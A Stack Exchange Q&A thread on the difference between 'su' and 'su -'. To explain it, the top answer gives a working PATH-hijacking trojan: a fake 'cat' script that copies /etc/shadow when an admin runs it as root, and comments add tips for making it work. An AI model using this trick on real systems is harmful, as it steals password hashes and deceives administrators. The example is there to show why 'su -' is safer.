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I don't understand why su - is preferred over su to login as root.

Coren
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Dharmit
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4 Answers4

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su - invokes a login shell after switching the user. A login shell resets most environment variables, providing a clean base.

su just switches the user, providing a normal shell with an environment nearly the same as with the old user.

Imagine, you're a software developer with normal user access to a machine and your ignorant admin just won't give you root access. Let's (hopefully) trick him.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

Now, you ask your admin why you can't cat the dummy file in your home folder, it just won't work! 

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

If your admin isn't that smart or just a bit lazy, he might come to your desk and try with his super-user powers:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

Wow! Thanks, super admin!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

He, he.

You maybe noticed that the corrupted $PATH variable was not reset. This wouldn't have happened, if the admin invoked su - instead.

Seldom 'Where's Monica' Needy
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wag
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    Don't forget to set an umask like 000 or it won't work. – Lekensteyn Oct 22 '11 at 08:48
  • Also worth knowing, although not an answer: There is also su --, which behaves like su -, but does not change the current directory. – Simon Richter Feb 07 '11 at 12:25
  • I'm embarrassed to say that with years of experience I didn't know about su --. That's really useful and I'm going to start using it today. Thanks – Michael Feb 07 '11 at 13:55
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    su -- is the same as su. – Mikel Feb 07 '11 at 20:08
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    -- is a flag that most programs interpret as "nothing after this should be taken as a flag". Useful for greping for things which start with a dash. – David Mackintosh Feb 09 '11 at 04:43
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    One could as well just put a su file inside the PATH. It's not so hard to mimic the behavior of the real su. The super-user has been careless anyway :-) – Stéphane Gimenez Feb 28 '12 at 18:53
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    su -- is NOT the same as su - : -- tells an getopt(s) (or similar) option handler to stop processing the command line for further options (usefull for example if the rest contains filenames which could start with an '-'). Ie, in "rm -i -- -f" : -f is then treated as a regular argument, so here as the name of the file to rm -i, and not as an additionnal -foption to the rm command. So su -- is just su and not su - ! So su -- would be as unsafe to the (funny and instructive) example givan by wag. Use su -. – Olivier Dulac Dec 26 '12 at 15:05
  • The security example is clever, but are there are real security problems if I ssh into a remote server? Because I can't really think of any... – Martin Tournoij Mar 09 '16 at 14:56
  • @OlivierDulac - Could you please point me to some resource on what the - does in general? Say it is appended to something else than su. For context, I am trying to understand what does this command do: xauth -f $XAUTH nmerge -. Thanks a lot. – Matteo Sep 13 '20 at 17:11
  • @Matteo Always look at the man pages. On several commands (tar, awk, and some others), - could mean stdin, and for others it could mean something else (ex: su). Man pages are your friend ^^ – Olivier Dulac Sep 13 '20 at 17:48
  • @OlivierDulac - Thanks for the super quick reply. I looked at the man page for xauth before commenting but it doesn't explain what - is for. How could I figure it out? I posted a question about my problem (https://unix.stackexchange.com/questions/609255/xauthority-for-gui-in-a-docker-container) if you are able to help! thanks! – Matteo Sep 13 '20 at 18:00
40

su - logs you in completely as root, whereas su makes it so you are pretending to be root.

The most obvious example of this is that ~ is root's home directory if you use su -, but your own home directory if you use su.

Depending on your system, it may also mean differences in prompt, PATH, or history file.

So if you are part of a team administering a system, and your colleague gives you a command to run, you know it will work the same if you are both using su -, but if you are both using su, there may be differences due to you having different shell configurations.

On the other hand, if you want to run a command as root but using your own configuration, then maybe su is better for you.

Also don't forget about sudo, which has a -s option to start a shell running as root. Of course, this has different rules as well, and they change depending on which distribution you are using.

Mikel
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    when I "su" I get ~ and $HOME both evaluating to /root. Is the behavior you describe specific to certain shells or OS versions or something? It's my understanding that ~ can be expanded by the kernel. I've got zsh as my (and root's) shell. – JasonWoof Feb 08 '11 at 00:05
  • Your .bashrc or /etc/bashrc or /etc/profile.d scripts are setting PATH. Look for if [ $UID -eq 0 ] or something like that. – Mikel Feb 08 '11 at 01:14
  • $USER for example is left unchanged. – peterph Jan 30 '14 at 11:13
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    What about sudo su? – Simon Kuang Jul 18 '14 at 20:10
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    Your example does not work for me. I get the same directory resolved in either way. – Daniel W. Apr 18 '16 at 14:45
  • $HOME is the same but pwd is different... – DJCrashdummy Jul 28 '17 at 23:51
  • @Mikel - Could you please point me to some resource on what the - does in general? Say it is appended to something else than su. For context, I am trying to understand what does this command do: xauth -f $XAUTH nmerge -. Thanks a lot. – Matteo Sep 13 '20 at 17:12
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The main difference is :

su - username sets up the shell environment as if it were a clean login as the specified user, it access and use specified users environment variables,

su username just starts a shell with current environment settings for the specified user.

If username is not specified with su and su -, the root account is implied as default.

Hauke Laging
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Akhil MK
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I use su -- when I'm in a directory as a regular user but want to switch to root and remain in same directory after the switch. When you use su - it switches the user to root and also takes you to /root which is the root home directory.

Calvin Dike
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